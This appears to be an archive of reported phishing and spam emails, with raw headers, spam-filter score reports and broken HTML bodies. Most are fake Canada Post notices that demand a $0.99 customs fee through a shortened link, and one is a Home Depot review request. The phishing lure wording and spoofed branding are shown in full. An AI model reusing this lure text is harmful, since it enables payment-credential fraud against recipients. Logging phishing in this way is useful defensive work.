Canada Post Phish from Amazon

X-Mozilla-Status: 0001

X-Mozilla-Status2: 00000000

Return-path:

Envelope-to: dave@doctor.nl2k.ab.ca

Delivery-date: Mon, 27 Jan 2025 22:54:00 -0700

Received: from doctor by doctor.nl2k.ab.ca with local (Exim 4.98 (FreeBSD))

(envelope-from )

id 1tceXr-0000000036e-3P0p

for dave@doctor.nl2k.ab.ca;

Mon, 27 Jan 2025 22:53:55 -0700

Resent-From: The Doctor

Resent-Date: Mon, 27 Jan 2025 22:53:55 -0700

Resent-Message-ID:

Resent-To: Dave Yadallee

Received: from 004.de-mx.crsend.com ([178.77.121.166]:34492)

by doctor.nl2k.ab.ca with utf8esmtps (TLS1.3) tls TLS_AES_256_GCM_SHA384

(Exim 4.98 (FreeBSD))

(envelope-from )

id 1tcdQi-00000000F7d-30pW

for doctor@doctor.nl2k.ab.ca;

Mon, 27 Jan 2025 21:42:34 -0700

Received: from ngw-pn.crsend.com (ngw-pn.crsend.com [54.228.218.33])

by 004.de-mx.crsend.com (Postfix) with UTF8SMTP id 09B051EEB0B

for ; Tue, 28 Jan 2025 04:40:27 +0000 (UTC)

DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;

s=send; d=c.havemy.email; t=1738039228; x=1740669228;

h=subject:date:content-type:from:to:message-id:list-unsubscribe:

list-unsubscribe-post:list-id:x-email:x-csa-complaints:

require-recipient-valid-since:feedback-id:cfbl-address:

cfbl-feedback-id; bh=zUj1FOqySX4eVLJ1vVMGQ93TqusiHt0e7QOnXBc2YAM=;

b=irE8Me2Q4CaUZj/PYISzkYcHlWt1pXXcyMHGKFsdX9VpewOXcA/bI4x22sXf3/CrImzXx/

wiI/VM2gg6POk/71FkPrQRRX/5V30PzTA7b3yVc5IgD5Z9HiAqItd85RYJPM7Pqx5QPX+g

cH2/xuIUNKLt+BJHeOX2xmswXWSYinE=

MIME-Version: 1.0

Date: Tue, 28 Jan 2025 05:40:27 +0100

Feedback-ID: 213841:15912392:827874:213841

Message-ID: <20250128054027.213841.15912392.827874@bounce-eu2.crsend.com>

List-Unsubscribe-Post: List-Unsubscribe=One-Click

X-Mailer: gomailer-v2.0.19-36-g0ac512f5

X-CSA-Complaints:

CFBL-Address: fbl+header@fbl.crsend.com

X-Mailing: 15912392

X-Customer: 827874

Subject: PC CA09128034

X-Client: 213841

List-Unsubscribe:

List-Id: <15912392.213841.crsend.com>

CFBL-Feedback-ID: 213841:15912392:827874:213841

From: "CANADA Service Delivery"



Reply-To: daniel.popp@blizz-regensburg.de

Require-Recipient-Valid-Since: doctor@doctor.nl2k.ab.ca; Tue, 28 Jan 2025

05:10:38 +0100

To: doctor@doctor.nl2k.ab.ca

X-email: doctor@doctor.nl2k.ab.ca

Content-Type: text/html; charset=UTF-8

Content-Transfer-Encoding: quoted-printable

X-Spam_score: 23.4

X-Spam_score_int: 234

X-Spam_bar: +++++++++++++++++++++++

X-Spam_report: Spam detection software, running on the system "doctor.nl2k.ab.ca",

has identified this incoming email as possible spam. The original

message has been attached to this so you can view it or label

similar future email. If you have any questions, see

@@CONTACT_ADDRESS@@ for details.



Content preview: Browser view Your package (CA09128034) from the USA is currently

in transit and has reached customs clearance. To ensure a seamless delivery,

we kindly ask for your assistance in settling the necessary customs duties

and taxes, totaling $0.99. Please proceed with payment using the provided

link at your earlies [...]



Content analysis details: (23.4 points, 5.0 required)



pts rule name description

---- ---------------------- --------------------------------------------------

1.5 RCVD_IN_AHBL RBL: AHBL: sender is listed in dnsbl.ahbl.org

[178.77.121.166 listed in dnsbl.ahbl.org]

[178.77.121.166 listed in dnsbl.ahbl.org]

[178.77.121.166 listed in dnsbl.ahbl.org]

[178.77.121.166 listed in dnsbl.ahbl.org]

[54.228.218.33 listed in dnsbl.ahbl.org]

[54.228.218.33 listed in dnsbl.ahbl.org]

[54.228.218.33 listed in dnsbl.ahbl.org]

[54.228.218.33 listed in dnsbl.ahbl.org]

1.5 RCVD_IN_AHBL_SPAM RBL: AHBL: Spam Source in dnsbl.ahbl.org

[178.77.121.166 listed in dnsbl.ahbl.org]

0.5 RCVD_IN_AHBL_PROXY RBL: AHBL: Open Proxy server in dnsbl.ahbl.org

[178.77.121.166 listed in dnsbl.ahbl.org]

0.5 RCVD_IN_AHBL_SMTP RBL: AHBL: Open SMTP relay in dnsbl.ahbl.org

[178.77.121.166 listed in dnsbl.ahbl.org]

0.0 RCVD_IN_AHBL_RTB RBL: AHBL: Real-Time Blocked in dnsbl.ahbl.org

[178.77.121.166 listed in dnsbl.ahbl.org]

1.0 RCVD_IN_WSFF RBL: Received via a relay in will-spam-for-food.eu.org

[54.228.218.33 listed in will-spam-for-food.eu.org]

[54.228.218.33 listed in will-spam-for-food.eu.org]

[54.228.218.33 listed in will-spam-for-food.eu.org]

[54.228.218.33 listed in will-spam-for-food.eu.org]

[54.228.218.33 listed in will-spam-for-food.eu.org]

[54.228.218.33 listed in will-spam-for-food.eu.org]

[54.228.218.33 listed in will-spam-for-food.eu.org]

[54.228.218.33 listed in will-spam-for-food.eu.org]

[178.77.121.166 listed in will-spam-for-food.eu.org]

[178.77.121.166 listed in will-spam-for-food.eu.org]

[178.77.121.166 listed in will-spam-for-food.eu.org]

[178.77.121.166 listed in will-spam-for-food.eu.org]

[178.77.121.166 listed in will-spam-for-food.eu.org]

[178.77.121.166 listed in will-spam-for-food.eu.org]

[178.77.121.166 listed in will-spam-for-food.eu.org]

[178.77.121.166 listed in will-spam-for-food.eu.org]

-0.0 SPF_PASS SPF: sender matches SPF record

-0.0 RCVD_IN_MSPIKE_H3 RBL: Good reputation (+3)

[178.77.121.166 listed in wl.mailspike.net]

-0.0 SPF_HELO_PASS SPF: HELO matches SPF record

0.1 DKIM_SIGNED Message has a DKIM or DK signature, not necessarily valid

-0.1 DKIM_VALID Message has at least one valid DKIM or DK signature

-0.1 DKIM_VALID_AU Message has a valid DKIM or DK signature from author's

domain

-0.0 RCVD_IN_MSPIKE_WL Mailspike good senders

15 GR_DOMAIN_XECODE1 Spammer tool signature (xecode)

0.2 MR_NOT_ATTRIBUTED_IP Beta rule: an non-attributed IPv4 found in

headers

0.0 HEADER_FROM_DIFFERENT_DOMAINS From and EnvelopeFrom 2nd level mail

domains are different

-0.0 T_RP_MATCHES_RCVD Envelope sender domain matches handover relay

domain

1.6 SUBJ_ALL_CAPS Subject is all capitals

1.1 MIME_HTML_ONLY BODY: Message only has text/html MIME parts

0.0 HTML_FONT_LOW_CONTRAST BODY: HTML font color similar or identical to

background

0.0 HTML_MESSAGE BODY: HTML included in message

0.6 HTML_MIME_NO_HTML_TAG HTML-only message, but there is no HTML tag

Subject: {SPAM?} PC CA09128034






cellpadding=3D"0" bgcolor=3D"#f0f0f0">


































rif; font-size: 16px; font-weight: 300; letter-spacing: 0.03125em; line-hei=

ght: 24px;">
al, sans-serif; text-decoration: underline;" name=3D"ENGLISH_VERSION">
<=

/td>


rif; font-size: 16px; font-weight: 300; letter-spacing: 0.03125em; line-hei=

ght: 24px;" align=3D"center">


=3D"100%" cellspacing=3D"0" cellpadding=3D"0">














#cbcbcb; border-top: 2px solid #ca261a; color: #333333; font-family: roboto=

, helvetica, arial, sans-serif; font-size: 16px; font-weight: 300; letter-s=

pacing: 0.03125em; line-height: 24px; padding: 24px;">
X_DWT52_com_zimbra_url" class=3D"Object" role=3D"link">
0467c6; font-family: roboto, helvetica, arial, sans-serif; text-decoration:=

none;" href=3D"https://t.communications.canadapost-postescanada.ca/r/?id=

=3Dhab5ce8c,bbde0fa,84c0f65" target=3D"_blank" rel=3D"nofollow noopener nor=

eferrer">
: bottom;" src=3D"https://www.canadapost.ca/cpo/mc/emails/cpc/images/cpc-ma=

in-logo-EN@2x.png" alt=3D"Canada Post" width=3D"144" height=3D"35" />
class=3D"cpc-logo-mobile" style=3D"border-width: 0px; vertical-align: botto=

m;" src=3D"https://www.canadapost.ca/cpo/mc/emails/cpc/images/mobile_cpc_lo=

go.png" alt=3D"Canada Post" width=3D"0" />

#cbcbcb; border-top: 2px solid #ca261a; color: #333333; font-family: roboto=

, helvetica, arial, sans-serif; font-size: 16px; font-weight: 300; letter-s=

pacing: 0.03125em; line-height: 24px; padding: 24px;" align=3D"right">
class=3D"xs-hide">
ject" role=3D"link">
ica, arial, sans-serif; text-decoration: underline;" href=3D"https://t.comm=

unications.canadapost-postescanada.ca/r/?id=3Dhab5ce8c,bbde0fa,84c0f66&e=3D=

cDE9JTQwYWhEOGclMkJpNjhkbHJnaTdGVUlSb25pNFNHb2hDU1pJSDJqSHB4JTJCcWlGRVklM0Q=

&s=3Dm0evsUD-Z6rk3Iv5pJer0S6pZfOttMT5utuyTsa4CxE" target=3D"_blank" rel=3D"=

nofollow noopener noreferrer">Browser view



rif; font-size: 16px; font-weight: 300; letter-spacing: 0.03125em; line-hei=

ght: 24px;" align=3D"center">


=3D"100%" cellspacing=3D"0" cellpadding=3D"0">












rif; font-size: 16px; font-weight: 300; letter-spacing: 0.03125em; line-hei=

ght: 24px;" bgcolor=3D"#ffffff">
%;" src=3D"https://www.canadapost.ca/cpo/mc/emails/cpc/images/Chevrons_Imag=

e_600x125@2x_Opt2.png" alt=3D"" width=3D"600" />



rif; font-size: 16px; font-weight: 300; letter-spacing: 0.03125em; line-hei=

ght: 24px;" align=3D"center">


"100%" cellspacing=3D"0" cellpadding=3D"0">












rif; font-size: 16px; font-weight: 300; letter-spacing: 0.03125em; line-hei=

ght: 24px; padding: 48px 24px 64px;" bgcolor=3D"#ffffff">


=3D"0" cellpadding=3D"0">
























, arial, sans-serif; font-size: 16px; font-weight: 300; letter-spacing: 0.0=

3125em; line-height: 24px; padding-bottom: 24px;">

Your package (CA09128034) from the USA  is current=

ly in transit and has reached customs clearance.



To ensure a seamless delivery, we kindly ask for your assistance in sett=

ling the necessary customs duties and taxes, totaling $0.99
>. Please proceed with payment using the provided link at your earliest con=

venience.



Upon payment confirmation, your package will be promptly processed for f=

inal delivery.



 ------------------------------------------------------------------=

---------------------



Votre colis (CA09128034) en provenance des États=

-Unis est actuellement en transit et a atteint le dédouanement.=



Afin d'assurer une livraison sans faille, nous sollicitons votre aide po=

ur régler les droits de douane et taxes nécessaires, pour un =

montant total de 0,99 $. Veuillez procéder au paiem=

ent en utilisant le lien fourni dans les meilleurs délais.



Dès confirmation du paiement, votre colis sera rapidement trait&e=

acute; pour la livraison finale.




, arial, sans-serif; font-size: 16px; font-weight: 300; letter-spacing: 0.0=

3125em; line-height: 24px; padding-bottom: 24px;"> 

, arial, sans-serif; font-size: 16px; font-weight: 300; letter-spacing: 0.0=

3125em; line-height: 24px; padding-bottom: 24px;">














-family: roboto, helvetica, arial, sans-serif; font-size: 16px; font-weight=

: 300; letter-spacing: 0.03125em; line-height: 24px;" align=3D"left" bgcolo=

r=3D"#0467c6">
role=3D"link">
olor: #ffffff; display: inline-block; font-family: roboto, helvetica, arial=

, sans-serif; font-weight: 400; padding: 9px 19px; text-align: center; text=

-decoration: none;" href=3D"https://t.co/sVzofLbJ1I" target=3D"_blank" rel=

=3D"nofollow noopener noreferrer"> Send my package - Envoyer Mon Colis=

 


 



Thank you for your swift action in this matter - Merci pour votre a=

ction rapide








rif; font-size: 16px; font-weight: 300; letter-spacing: 0.03125em; line-hei=

ght: 24px;" align=3D"center">


=3D"100%" cellspacing=3D"0" cellpadding=3D"0" bgcolor=3D"#666666">








































roboto, helvetica, arial, sans-serif; font-size: 16px; font-weight: 300; l=

etter-spacing: 0.03125em; line-height: 24px; padding: 48px 24px 24px;" bgco=

lor=3D"#666666">


0px 24px;">Canada Post sends email notifications at the request of the ship=

per or receiver. Canada Post may also send follow-up emails to confirm tran=

saction details.




0px 24px;">Postes Canada envoie des avis par courriel à la demande d=

e l'expéditeur ou du destinataire. Postes Canada peut égaleme=

nt envoyer des courriels de suivi pour confirmer les détails de la t=

ransaction.




0px 24px;"> 




rif; font-size: 16px; font-weight: 300; letter-spacing: 0.03125em; line-hei=

ght: 24px; padding: 48px 24px 0px;" bgcolor=3D"#666666">
FIX_DWT59_com_zimbra_url" class=3D"Object" role=3D"link">
#f0f0f0; font-family: roboto, helvetica, arial, sans-serif; text-decoratio=

n: underline;" href=3D"https://t.communications.canadapost-postescanada.ca/=

r/?id=3Dhab5ce8c,bbde0fa,84c0f73" target=3D"_blank" rel=3D"nofollow noopene=

r noreferrer">canadapost.ca

rif; font-size: 16px; font-weight: 300; letter-spacing: 0.03125em; line-hei=

ght: 24px; padding: 0px 24px 16px;" bgcolor=3D"#666666">2701 Riverside Driv=

e, Ottawa ON  K1A 0B1

rif; font-size: 16px; font-weight: 300; letter-spacing: 0.03125em; line-hei=

ght: 24px; padding: 0px 24px 16px;" bgcolor=3D"#666666">
FIX_DWT60_com_zimbra_url" class=3D"Object" role=3D"link">
#f0f0f0; font-family: roboto, helvetica, arial, sans-serif; text-decoratio=

n: underline;" href=3D"https://t.communications.canadapost-postescanada.ca/=

r/?id=3Dhab5ce8c,bbde0fa,84c0f74" target=3D"_blank" rel=3D"nofollow noopene=

r noreferrer">Accessibility
  |  
OBJ_PREFIX_DWT61_com_zimbra_url" class=3D"Object" role=3D"link">
"color: #f0f0f0; font-family: roboto, helvetica, arial, sans-serif; text-de=

coration: underline;" href=3D"https://t.communications.canadapost-postescan=

ada.ca/r/?id=3Dhab5ce8c,bbde0fa,84c0f75" target=3D"_blank" rel=3D"nofollow =

noopener noreferrer">Legal
  |  
BJ_PREFIX_DWT62_com_zimbra_url" class=3D"Object" role=3D"link">
color: #f0f0f0; display: inline-block; font-family: roboto, helvetica, aria=

l, sans-serif; text-decoration: underline;" href=3D"https://t.communication=

s.canadapost-postescanada.ca/r/?id=3Dhab5ce8c,bbde0fa,84c0f76" target=3D"_b=

lank" rel=3D"nofollow noopener noreferrer">Privacy
  |&=

nbsp; 
le=3D"link">
al, sans-serif; text-decoration: underline;" href=3D"https://t.communicatio=

ns.canadapost-postescanada.ca/r/?id=3Dhab5ce8c,bbde0fa,84c0f77" target=3D"_=

blank" rel=3D"nofollow noopener noreferrer">Support

rif; font-size: 16px; font-weight: 300; letter-spacing: 0.03125em; line-hei=

ght: 24px; padding: 0px 24px 48px;" valign=3D"bottom" bgcolor=3D"#666666"><=

span class=3D"cpc-copyright">© Canada Post Corporation
=3D"OBJ_PREFIX_DWT64_com_zimbra_url" class=3D"Object" role=3D"link">
e=3D"color: #f0f0f0; font-family: roboto, helvetica, arial, sans-serif; tex=

t-decoration: underline;" href=3D"https://t.communications.canadapost-poste=

scanada.ca/r/?id=3Dhab5ce8c,bbde0fa,84c0f78" target=3D"_blank" rel=3D"nofol=

low noopener noreferrer">
ottom;" src=3D"https://www.canadapost.ca/cpo/mc/emailcampaigns/cpc/images/c=

anada_logo.png" alt=3D"Canada" width=3D"78" align=3D"right" />

td>


ly: roboto, helvetica, arial, sans-serif; font-size: 16px; font-weight: 300=

; height: 0px; letter-spacing: 0.03125em; line-height: 0;" bgcolor=3D"#6666=

66">
ink">
s-serif; text-decoration: underline;" href=3D"https://t.communications.cana=

dapost-postescanada.ca/r/?id=3Dhab5ce8c,bbde0fa,84c0f79" target=3D"_blank" =

rel=3D"nofollow noopener noreferrer">
cal-align: bottom;" src=3D"https://www.canadapost.ca/cpo/mc/emailcampaigns/=

cpc/images/canada_logo.png" alt=3D"Canada" width=3D"0" />





5ce8c,bbde0fa,1" alt=3D"" width=3D"0" height=3D"0" />


Canada post phish from Amazon

X-Mozilla-Status: 0001

X-Mozilla-Status2: 00000000

Return-path:

Envelope-to: dave@doctor.nl2k.ab.ca

Delivery-date: Fri, 03 Jan 2025 10:43:00 -0700

Received: from doctor by doctor.nl2k.ab.ca with local (Exim 4.98 (FreeBSD))

(envelope-from )

id 1tTlh9-00000000NHM-2gzW

for dave@doctor.nl2k.ab.ca;

Fri, 03 Jan 2025 10:42:47 -0700

Resent-From: The Doctor

Resent-Date: Fri, 3 Jan 2025 10:42:47 -0700

Resent-Message-ID:

Resent-To: Dave Yadallee

Received: from komura-agency.co.jp ([140.227.94.174]:39587)

by doctor.nl2k.ab.ca with esmtps (TLS1.2) tls TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384

(Exim 4.98 (FreeBSD))

(envelope-from )

id 1tTkts-0000000028g-3Xti

for doctor@nl2k.ab.ca;

Fri, 03 Jan 2025 09:52:18 -0700

Received: (qmail 27436 invoked by VF by uid 0); 4 Jan 2025 01:43:16 +0900

X-Vade-Tracker: score=10, verdict=transactional:purchases, state=14

spamcause=gggruggvucftvghtrhhoucdtuddrgeefuddrudefgedgleduucetufdoteggodetrfdotffvucfrrhhofhhilhgvmecupffvvffrveenuceurghilhhouhhtmecufedttdenucdnrfhurhgthhgrshgvucdluddtmdenucfjughrpegghffvfffutgesrgdttdertddtjeenucfhrhhomhepfdevrghnrggurgdqrfhoshhtfdcuoehinhhfoheskhhomhhurhgrqdgrghgvnhgthidrtghordhjpheqnecuggftrfgrthhtvghrnhepffeuvdeuledtueeltdejheekleffheefieejudfgkeehtdevffeffffhiedukeelnecuffhomhgrihhnpegtrghnrggurghpohhsthdqphhoshhtvghstggrnhgruggrrdgtrgdpsggvlhhlrdhnvghtpdgrmhgriihonhgrfihsrdgtohhmnecukfhppedufedrvdefuddrkedrudejleenucevlhhushhtvghrufhiiigvpedtnecurfgrrhgrmhepihhnvghtpedufedrvdefuddrkedrudejledphhgvlhhopefgvedvtefotegkqdfisffktffihffopdhmrghilhhfrhhomhepihhnfhhosehkohhmuhhrrgdqrghgvghntgihrdgtohdrjhhppdhnsggprhgtphhtthhopedupdhrtghpthhtohepughotghtohhrsehnlhdvkhdrrggsrdgtrgdpmhhouggvpehsmhhtphhouhht

Received: from unknown (HELO EC2AMAZ-GQIRGFM) (info@komura-agency.co.jp@13.231.8.179)

by dc70.etius.jp (140.227.94.174) with ESMTPA; 4 Jan 2025 01:43:16 +0900

MIME-Version: 1.0

From: "Canada-Post"

To: doctor@nl2k.ab.ca

Date: 3 Jan 2025 16:43:16 +0000

Subject: =?utf-8?B?wq5Db25maXJtYXRpb24gb2YgU2hpcG1lbnQgRGV0YWlscyBm?=

=?utf-8?B?b3IgSXRlbSAvIENvbmZpcm1hdGlvbiBkZXMgZMOpdGFpbHMgZGUgbCdl?=

=?utf-8?B?bnZvaSBkZSBsJ2FydGljbGUgTsK6IDczMDI3ODAxNDUyNDI2MTjCrg==?=

Content-Type: multipart/alternative;

boundary=--boundary_2987_4f58440b-3057-4152-99d2-93255ac86f13

X-Spam_score: 17.0

X-Spam_score_int: 170

X-Spam_bar: +++++++++++++++++

X-Spam_report: Spam detection software, running on the system "doctor.nl2k.ab.ca",

has identified this incoming email as possible spam. The original

message has been attached to this so you can view it or label

similar future email. If you have any questions, see

@@CONTACT_ADDRESS@@ for details.



Content preview:

Canada post phish from Amazon

X-Mozilla-Status: 0001

X-Mozilla-Status2: 00000000

Return-path:

Envelope-to: dave@nk.ca

Delivery-date: Fri, 03 Jan 2025 08:06:00 -0700

Received: from sv14702.xserver.jp ([162.43.104.103]:51220)

by doctor.nl2k.ab.ca with esmtps (TLS1.2) tls TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384

(Exim 4.98 (FreeBSD))

(envelope-from )

id 1tTjEc-0000000037e-3u0D

for dave@nk.ca;

Fri, 03 Jan 2025 08:05:37 -0700

X-Virus-Status: scanned (With Secure/Atlant/virusgw14109.xserver.jp/)

Received: from EC2AMAZ-TJ71PKI (ec2-3-113-24-113.ap-northeast-1.compute.amazonaws.com [3.113.24.113])

by sv14702.xserver.jp (Postfix) with ESMTPA id 5089DE889FAE5B

for ; Sat, 4 Jan 2025 00:03:08 +0900 (JST)

DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=dnjmb.co.jp;

s=default; t=1735916588;

bh=nqmyhrhgEy2qnk9m83UBxWgqGo5zsxChUISyI7bR6Ng=;

h=From:To:Date:Subject:From;

b=bwHgwwNbecK/QxgxP+uTljB6kL9cGbMw/mk/1xMUFQNE7NcvS5ehE/b2E69sXHAxX

TqYdExxCK9N4tirZ4H7IGQxN3Fk903PL/jedTqizofBQTouc3Kov4/7xdJURGhNAId

UOGTUJL7jeTiDEQsbSZLh7x9r/5jHpxZlP+zoHWrtLUu9RcuE3Ib6/VgYU2wqSiDn6

WtM0BtjyBgfTkV650HWpbcuPII+1JFKj5oZQxjqFcsFCdF4rfDappPF+6H4soRlbjc

+bcSH9aSNLfpxjguZkT5dB4WHFUHgJ2nspQUPN9HeLjVvFoB+9A1PPrqsDct690T/y

IEGP/PtuApx6A==

MIME-Version: 1.0

From: =?utf-8?Q?=F0=9F=9F=A2Canada_Post=2FPostes_Canada?=

To: dave@nk.ca

Date: 3 Jan 2025 15:03:08 +0000

Subject: =?utf-8?B?wq5Db25maXJtYXRpb24gb2YgU2hpcG1lbnQgRGV0YWlscyBm?=

=?utf-8?B?b3IgSXRlbSAvIENvbmZpcm1hdGlvbiBkZXMgZMOpdGFpbHMgZGUgbCdl?=

=?utf-8?B?bnZvaSBkZSBsJ2FydGljbGUgTsK6IDg1NzQxNDYxNjI1NDI4NTHCrg==?=

Content-Type: multipart/alternative;

boundary=--boundary_1837_998c1373-928f-4eeb-a134-e0d130c6a311

Message-Id: <20250103150308.5089DE889FAE5B@sv14702.xserver.jp>

X-Spam_score: 15.0

X-Spam_score_int: 150

X-Spam_bar: +++++++++++++++

X-Spam_report: Spam detection software, running on the system "doctor.nl2k.ab.ca",

has identified this incoming email as possible spam. The original

message has been attached to this so you can view it or label

similar future email. If you have any questions, see

@@CONTACT_ADDRESS@@ for details.



Content preview:

home Depot feedback phish

Return-path:

Envelope-to: dave@doctor.nl2k.ab.ca

Delivery-date: Wed, 01 Jan 2025 11:13:00 -0700

Received: from doctor by doctor.nl2k.ab.ca with local (Exim 4.98 (FreeBSD))

(envelope-from )

id 1tT0m9-00000000FAf-0Xbt

for dave@doctor.nl2k.ab.ca;

Wed, 01 Jan 2025 08:36:49 -0700

Resent-From: The Doctor

Resent-Date: Wed, 1 Jan 2025 08:36:49 -0700

Resent-Message-ID:

Resent-To: Dave Yadallee

Received: from a48-52.smtp-out.amazonses.com ([54.240.48.52]:36159)

by doctor.nl2k.ab.ca with esmtps (TLS1.3) tls TLS_AES_128_GCM_SHA256

(Exim 4.98 (FreeBSD))

(envelope-from <01000194222d46a7-2759721a-2f59-43ae-893d-78448a685cc0-000000@amazonses.com>)

id 1tSzLE-000000005Wn-02Ea

for sales@nk.ca;

Wed, 01 Jan 2025 07:05:11 -0700

DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/simple;

s=ttsqmxtuc7wo2s6ict6d2uvrjcdqgt76; d=homedepot.com; t=1735740180;

h=From:To:Subject:MIME-Version:Content-Type:Content-Transfer-Encoding:Message-ID:Date;

bh=NLh437NKKdfZjCPPYHmIG/0Avr+qD0LYJJgQTzhq5Vw=;

b=uzZkPh3EQ35y8yWHfoxOF8AxRlZT5nmz193H9HAgWU23b6bxi0l26B5dxeSSFMco

jjJMPAn6Hox4w5Ykbs5weREQXvZAaaY57if2D6eC5/LJggv7o2tTjDBj+v7Y2Xw2d6H

wxCm2dNl8YP5xInBTILHlMImu5Or6QlbkUPQzIFs=

DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/simple;

s=ug7nbtf4gccmlpwj322ax3p6ow6yfsug; d=amazonses.com; t=1735740180;

h=From:To:Subject:MIME-Version:Content-Type:Content-Transfer-Encoding:Message-ID:Date:Feedback-ID;

bh=NLh437NKKdfZjCPPYHmIG/0Avr+qD0LYJJgQTzhq5Vw=;

b=oESK83AOtP+NmlzhM0b3vp5ofTy5OVF2jlxJKsqNvh74MA2mXWziWpS4mP4w1Vlh

ol/rYqV5nyWw/MMnu8VnZFdIjAMKwCNdfFJ9wYJc3SG6UWc/Z0OA3gQdV3OcAKUE+5J

h907pJW+hiDHk3/mdLPh4YjszoQKTTHN3WxfKoDY=

From: The Home Depot

To: sales@nk.ca

Subject: Take a Moment to Review Your Recent Purchase

MIME-Version: 1.0

Content-Type: text/html; charset=UTF-8

Content-Transfer-Encoding: quoted-printable

Message-ID: <01000194222d46a7-2759721a-2f59-43ae-893d-78448a685cc0-000000@email.amazonses.com>

Date: Wed, 1 Jan 2025 14:03:00 +0000

Feedback-ID: ::1.us-east-1.EK1RCIoDtv85AAjCMsqBjNglCpC+6rgvarupe80WK4M=:AmazonSES

X-SES-Outgoing: 2025.01.01-54.240.48.52

X-Spam_score: 6.5

X-Spam_score_int: 65

X-Spam_bar: ++++++

X-Spam_report: Spam detection software, running on the system "doctor.nl2k.ab.ca",

has identified this incoming email as possible spam. The original

message has been attached to this so you can view it or label

similar future email. If you have any questions, see

@@CONTACT_ADDRESS@@ for details.



Content preview: Take a Moment to Review Your Recent Purchase The Home Depot

Canada awaits your feedback. Tell us what you think of your most recent purchase.





Content analysis details: (6.5 points, 5.0 required)



pts rule name description

---- ---------------------- --------------------------------------------------

1.5 RCVD_IN_AHBL RBL: AHBL: sender is listed in dnsbl.ahbl.org

[54.240.48.52 listed in dnsbl.ahbl.org]

[54.240.48.52 listed in dnsbl.ahbl.org]

[54.240.48.52 listed in dnsbl.ahbl.org]

[54.240.48.52 listed in dnsbl.ahbl.org]

1.5 RCVD_IN_AHBL_SPAM RBL: AHBL: Spam Source in dnsbl.ahbl.org

[54.240.48.52 listed in dnsbl.ahbl.org]

0.5 RCVD_IN_AHBL_SMTP RBL: AHBL: Open SMTP relay in dnsbl.ahbl.org

[54.240.48.52 listed in dnsbl.ahbl.org]

0.0 RCVD_IN_AHBL_RTB RBL: AHBL: Real-Time Blocked in dnsbl.ahbl.org

[54.240.48.52 listed in dnsbl.ahbl.org]

0.5 RCVD_IN_AHBL_PROXY RBL: AHBL: Open Proxy server in dnsbl.ahbl.org

[54.240.48.52 listed in dnsbl.ahbl.org]

-0.0 RCVD_IN_DNSWL_NONE RBL: Sender listed at http://www.dnswl.org/, no

trust

[54.240.48.52 listed in list.dnswl.org]

0.0 RCVD_IN_VALIDITY_RPBL_BLOCKED RBL: ADMINISTRATOR NOTICE: The query to

Validity was blocked. See

https://knowledge.validity.com/hc/en-us/articles/20961730681243

for more information.

[54.240.48.52 listed in bl.score.senderscore.com]

1.3 RCVD_IN_RP_RNBL RBL: Relay in RNBL,

https://senderscore.org/blacklistlookup/

[54.240.48.52 listed in bl.score.senderscore.com]

0.0 RCVD_IN_VALIDITY_CERTIFIED_BLOCKED RBL: ADMINISTRATOR NOTICE: The

query to Validity was blocked. See

https://knowledge.validity.com/hc/en-us/articles/20961730681243

for more information.

[54.240.48.52 listed in sa-trusted.bondedsender.org]

-3.0 RCVD_IN_RP_CERTIFIED RBL: Sender in ReturnPath Certified - Contact

cert-sa@returnpath.net

[Excessive Number of Queries | ]

-0.0 SPF_PASS SPF: sender matches SPF record

0.0 RCVD_IN_VALIDITY_SAFE_BLOCKED RBL: ADMINISTRATOR NOTICE: The query to

Validity was blocked. See

https://knowledge.validity.com/hc/en-us/articles/20961730681243

for more information.

[54.240.48.52 listed in sa-accredit.habeas.com]

-2.0 RCVD_IN_RP_SAFE RBL: Sender in ReturnPath Safe - Contact

safe-sa@returnpath.net

[Excessive Number of Queries | ]

-0.1 DKIM_VALID_EF Message has a valid DKIM or DK signature from

envelope-from domain

0.1 DKIM_SIGNED Message has a DKIM or DK signature, not necessarily valid

-0.1 DKIM_VALID Message has at least one valid DKIM or DK signature

-0.1 DKIM_VALID_AU Message has a valid DKIM or DK signature from author's

domain

2.0 GR_DOMAIN_AMAZON1 Received contains spam friendly host (amazon)

0.0 HEADER_FROM_DIFFERENT_DOMAINS From and EnvelopeFrom 2nd level mail

domains are different

-0.0 T_RP_MATCHES_RCVD Envelope sender domain matches handover relay

domain

0.3 MR_DEPOT_URI URI: Depot in link address

1.1 MIME_HTML_ONLY BODY: Message only has text/html MIME parts

0.0 HTML_FONT_LOW_CONTRAST BODY: HTML font color similar or identical to

background

0.0 HTML_MESSAGE BODY: HTML included in message

0.0 SARE_FROM_SPAM_WORD4 From address suggests this may be spam

1.0 LONG_IMG_URI Image URI with very long path component - web bug?

2.0 RATWR8_MESSID Message-ID with excessive dashes and dollars

Subject: {SPAM?} Take a Moment to Review Your Recent Purchase




/TR/xhtml1/DTD/xhtml1-strict.dtd">






" />


=3D1, maximum-scale=3D1, user-scalable=3D0" />

Take a Moment to Review Your Recent Purchase






ing-left:0;padding-right:0;padding-top:0;margin-bottom:0;margin-left:0;marg=

in-right:0;margin-top:0;">


-width:0px;opacity:0;overflow:hidden;mso-hide:all;">The Home Depot Canada a=

waits your feedback. Tell us what you think of your most recent purchase.
div>


epeat; background-position:31em 3em;width:100%;overflow:hidden;border:1px s=

olid #ffffff;">




p:0;margin-bottom:0;padding-left:.5em;padding-right:.5em;padding-top:.5em;p=

adding-bottom:.5em;border:1px solid #dddddd;">



Review your HAH Inca Mini 100L I/O Clear
ee;">=E2=80=94







ext-decoration:none; border:0px" src=3D"http://photos-us.bazaarvoice.com/ph=

oto/2/Y2xpZW50Y29uZmlnaW1hZ2VzOmhvbWVkZXBvdC1jYW5hZGE/4192acaf0aea9b0eeccc3=

24284343b7b.jpg" alt=3D"The Home Depot Canada logo" />
 









#ffffff;margin-top:0;margin-bottom:0;border: 1px solid #ffffff;">








GUEST,


 


Thank you for shopping with us! We hope you'll write about your HAH Inca Mi=

ni 100L I/O Clear while it's still fresh on your mind.


 



r=3D"#eeeeee" style=3D"background: #eeeeee; padding-top: 10px; padding-righ=

t: 10px; padding-bottom: 10px; padding-left: 10px; -webkit-border-radius: 4=

px; -moz-border-radius: 4px; border-radius: 4px; font-weight: bold; text-de=

coration: none; display: block;">
